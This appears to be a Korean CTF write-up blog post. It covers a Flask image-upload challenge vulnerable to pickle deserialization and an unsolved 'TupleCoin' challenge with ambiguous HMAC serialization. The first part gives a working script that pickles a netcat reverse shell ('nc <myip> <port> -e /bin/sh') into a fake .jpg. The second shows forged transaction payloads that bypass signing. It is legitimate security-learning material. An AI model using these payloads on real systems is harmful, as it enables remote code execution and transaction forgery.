            fancy_name = str(uuid.uuid4()) + extension

            image.save(os.path.join('./images', fancy_name))
            flash("Successfully uploaded image! View it at /images/" + fancy_name, "success")
            return redirect(url_for('upload'))

        else:
            flash("An error occured while uploading the image! Support filetypes are: png, jpg, jpeg", "danger")
            return redirect(url_for('upload'))

    else:
        return render_template("upload.html")

@app.route('/images/<filename>')
def display_image(filename):
    try:
        pickle.loads(open('./images/' + filename, 'rb').read())
    except:
        pass
    return send_from_directory('./images', filename)

if __name__ == "__main__":
    app.run(host='0.0.0.0')


flask를 잘 안써봐서 처음에는 app.secret_key가 저 문자열이 아니고, flag값이 있을 줄 알았는데 그냥 저 문자열이 있었다. 문제랑 전혀 상관없었다 ㅋㅋ

먼저 취약점을 탐색했는데 마지막 코드 부분(pickle.loads)에서 다음과 같이 pickle serialize 취약점이 발생한다. 이 취약점에 대해서 설명은 스킵..

1
2
3
4
5
6
7
@app.route('/images/<filename>')
def display_image(filename):
    try:
        pickle.loads(open('./images/' + filename, 'rb').read())
    except:
        pass
    return send_from_directory('./images', filename)

이 사이트는 이미지 upload 기능을 제공하여 파일 확장자 검사(png, jpg, jpeg)를 진행한 후 문제없으면 서버에 업로드한다. 그리고 해당 이미지의 경로로 접속을 하면 그 이미지를 불러오는데 이미지를 불러올 때 pickle.loads 로 불러오기 때문에 취약점이 발생한다.

이미지 파일의 검사는 확장자만 검사하기 때문에 내용에는 아무거나 들어가도 상관없다. 따라서 나는 리버스쉘을 pickle 직렬화해서 만들었고, 그 내용을 서버에 올리고, pickle.loads로 코드가 실행되면 내 컴퓨터에 접속하도록 리버스쉘을 실행시켰다.

다음 코드로 exploit.jpg 파일을 생성했다.

1
2
3
4
5
6
7
8
9
10
11
import pickle

class exploit(object):
    def __reduce__(self):
        p = "__import__('os').popen('nc <myip> <port> -e /bin/sh').read()"
        return (eval, (p, ))

ex = pickle.dumps(exploit())

with open('exploit.jpg', 'wb') as f:
    f.write(ex)

exploit.jpg의 내용은 다음과 같다.

Untitled

이제 웹 사이트로 들어가서 Upload를 진행한다.

Untitled

Untitled

Untitled

이미지의 경로는 /images/8f97bded-44c7-473d-a72f-727da6e6ff41.jpg 이다.

이제 내 컴퓨터에서 exploit.py 에서 설정한 포트로 서버를 열었다.

Untitled

그리고 이미지의 경로로 이동하면 pickle.loads에 의해 서버에서 리버스쉘이 연결된다.

Untitled

[Unsolved]

pwn

1. Needle in a Haystack (28 Solves)

2. Cerebrum Boggled (1 Solves)

rev

1. Shiftycode (11 Solves)

crypto

1. Repeating Offense (20 Solves)

2. P(ai)^3 (15 Solves)

misc

1. Geet-into-action (63 Solves)

2. Geet-into-reaction (20 Solves)

web

1. TupleCoin (38 Solves)

주어진 소스코드는 없고, 웹 사이트만 존재한다.

Untitled

접속하면 다음과 같이 영어가 많이 나오면서 문제의 시나리오를 설명해준다. 그리고 상단 메뉴에는 Accounts, Transfer, Bug Bounty 메뉴가 존재한다.

Untitled

간단하게 설명하면 Accounts 메뉴는 계좌를 만드는 메뉴인것 같고, Transfer은 계좌에 돈을 송금하는 메뉴이다.

Untitled

Untitled

그리고 Accounts 메뉴의 영어를 읽어보면 314159265 즉 파이의 처음 9자리가 사장의 계좌인 것을 알 수 있다.

Transfer 메뉴에서 각각의 값을 채우고 전송하여 패킷을 확인해보면 두 개의 패킷이 response된다.

Untitled

FLAG를 찾는 방향성이 안보이며, 나는 여기서 막혔다.

write-up에서는 여기서 robots.txt 에 접속하였다. 그러면 다음 두 경로는 봇이 크롤링을 못하게 막아놓았다.

Untitled

여기서 /app/bkups 경로로 진입하면 파일이 다운로드받아지며 다운받은 파일은 이 서버의 Flask 코드이다. 코드는 다음과 같다.

main.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
from __future__ import annotations
import hmac
import math
import os
import secrets

from fastapi import FastAPI, HTTPException
from fastapi.responses import RedirectResponse
from fastapi.staticfiles import StaticFiles
from pydantic import BaseModel

SECRET_KEY = secrets.token_bytes(32)    # random each time we run
TUCO_ACCT_NUM = 314159265

FLAG_FILE = os.environ.get("TUPLECOIN_FLAG_FILE", "flag.txt")
try:
    with open(FLAG_FILE) as fd:
        FLAG = fd.read().strip()
except:
    FLAG = "we has a fake flag for you, but it won't get you points at the CTF..."

app = FastAPI()
APP_DIST_DIR = os.path.join(os.path.dirname(os.path.dirname(os.path.abspath(__file__))), "client", "dist")
app.mount("/app", StaticFiles(directory=APP_DIST_DIR), name="static")

class Balance(BaseModel):
    acct_num: int
    num_tuco: float

    def serialize(self) -> bytes:
        return (str(self.acct_num) + '|' + str(self.num_tuco)).encode()
    
    def sign(self, secret_key: bytes) -> CertifiedBalance:
        return CertifiedBalance.parse_obj({
            "balance": {
                "acct_num": self.acct_num,
                "num_tuco": self.num_tuco,
            },
            "auth_tag": hmac.new(secret_key, self.serialize(), "sha256").hexdigest(),
        })

class CertifiedBalance(BaseModel):
    balance: Balance
    auth_tag: str

    def verify(self, secret_key: bytes) -> Balance:
        recreate_auth_tag = self.balance.sign(secret_key)
        if hmac.compare_digest(self.auth_tag, recreate_auth_tag.auth_tag):
            return self.balance
        else:
            raise ValueError("invalid certified balance")

class Transaction(BaseModel):
    from_acct: int
    to_acct: int
    num_tuco: float

    def serialize(self) -> bytes:
        return (str(self.from_acct) + str(self.to_acct) + str(self.num_tuco)).encode()

    def sign(self, secret_key: bytes) -> AuthenticatedTransaction:
        tuco_smash = self.serialize()
        tuco_hash = hmac.new(secret_key, tuco_smash, "sha256").hexdigest()
        
        return CertifiedTransaction.parse_obj({
            "transaction": {
                "from_acct": self.from_acct,
                "to_acct": self.to_acct,
                "num_tuco": self.num_tuco
            },
            "auth_tag": tuco_hash,
        })

class CertifiedTransaction(BaseModel):
    transaction: Transaction
    auth_tag: str

    def verify(self, secret_key: bytes) -> Transaction:
        recreated = self.transaction.sign(secret_key)
        if hmac.compare_digest(self.auth_tag, recreated.auth_tag):
            return self.transaction
        else:
            raise ValueError("invalid authenticated transaction")

@app.get('/', include_in_schema=False)
def home():
    return RedirectResponse("app/index.html")

@app.get('/robots.txt', include_in_schema=False)
def robots():
    return RedirectResponse("app/robots.txt")

@app.post("/api/account/claim")
async def account_claim(acct_num: int) -> CertifiedBalance:
    if acct_num == TUCO_ACCT_NUM:
        raise HTTPException(status_code=400, detail="That's Tuco's account number! Don't make Tuco mad!")
    
    balance = Balance.parse_obj({
        "acct_num": acct_num,
        "num_tuco": math.pi,
    })

    return balance.sign(SECRET_KEY)

@app.post("/api/transaction/certify")
async def transaction_certify(transaction: Transaction) -> CertifiedTransaction:
    if transaction.from_acct == TUCO_ACCT_NUM:
        raise HTTPException(status_code=400, detail="Ha! You think you can steal from Tuco so easily?!!")
    return transaction.sign(SECRET_KEY)

@app.post("/api/transaction/commit")
async def transaction_commit(certified_transaction: CertifiedTransaction) -> str:
    transaction = certified_transaction.verify(SECRET_KEY)
    if transaction.from_acct != TUCO_ACCT_NUM:
        return "OK"
    else:
        return FLAG

main.py:121 에 존재하는 함수에서 FLAG값을 출력시켜준다.

1
2
3
4
5
6
7
@app.post("/api/transaction/commit")
async def transaction_commit(certified_transaction: CertifiedTransaction) -> str:
    transaction = certified_transaction.verify(SECRET_KEY)
    if transaction.from_acct != TUCO_ACCT_NUM:
        return "OK"
    else:
        return FLAG

홈페이지의 transfer 메뉴에서 값을 채우고 보내면 main.py:114 의 certify 함수가 호출된다. 여기서 post 파라미터와 secret_key를 가지고 sign을 진행한다.

1
2
3
4
5
@app.post("/api/transaction/certify")
async def transaction_certify(transaction: Transaction) -> CertifiedTransaction:
    if transaction.from_acct == TUCO_ACCT_NUM:
        raise HTTPException(status_code=400, detail="Ha! You think you can steal from Tuco so easily?!!")
    return transaction.sign(SECRET_KEY)

sign 함수는 다음과 같다. secret_key와 post 파라미터로 받은 Transaction 객체를 합쳐 sha256으로 auth_tag를 만든다. 그리고 리턴값으로는 보이는 그대로 transaction객체와 auth_tag를 리턴한다.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
class Transaction(BaseModel):
    from_acct: int
    to_acct: int
    num_tuco: float

    def serialize(self) -> bytes:
        return (str(self.from_acct) + str(self.to_acct) + str(self.num_tuco)).encode()

    def sign(self, secret_key: bytes) -> AuthenticatedTransaction:
        tuco_smash = self.serialize()
        tuco_hash = hmac.new(secret_key, tuco_smash, "sha256").hexdigest()
        
        return CertifiedTransaction.parse_obj({
            "transaction": {
                "from_acct": self.from_acct,
                "to_acct": self.to_acct,
                "num_tuco": self.num_tuco
            },
            "auth_tag": tuco_hash,
        })

이 때 직렬화 과정에서 from_acct + to_acct + num_tuco 로 간단하게 직렬화하기 때문에

from_acct 의 값을 314159265로 맞추고, sign된 값인 auth_tag도 알아낼 수 있다.

따라서 commit 에 패킷을 프록시로 잡고 post 파라미터로 다음과 같이 파라미터를 조작한다.

from_acct 에는 314159265를 우회하기 위해 31415926 까지 적고, to_acct에는 나머지 5를 적고, num_tuco에는 아무숫자 2자리를 적는다.

1
{"from_acct":31415926,"to_acct":5,"num_tuco":11}

패킷을 전송하면, response로 다음과 같은 값을 받을 수 있다.

secret_key + 31415926511 의 sha256값을 획득할 수 있다.

1
2
3
4
5
6
7
HTTP/1.1 200 OK
Content-Length: 144
Content-Type: application/json
Date: Tue, 12 Apr 2022 17:21:29 GMT
Server: uvicorn

{"transaction":{"from_acct":31415926,"to_acct":5,"num_tuco":11.0},"auth_tag":"90621b5820be300662123ceccdeab62f9fb2c5957e630e0c8da555295ea3c137"}

이제 commit 패킷을 생성해 post 파라미터를 다음과 같이 전송한다.

1
{"transaction":{"from_acct":314159265,"to_acct":1,"num_tuco":1},"auth_tag":"90621b5820be300662123ceccdeab62f9fb2c5957e630e0c8da555295ea3c137"}

from_acct 를 사장의 계좌(314159265) 로 설정하고 나머지 2개 파라미터는 sha256에 맞게 나머지 11을 쪼개서 넣어준다. 그리고 auth_tag 또한 아까 받은 패킷의 값을 그대로 넣어주면 된다.

패킷을 전송하면 다음과 같이 FLAG를 얻을 수 있다.

Untitled

comments powered by Disqus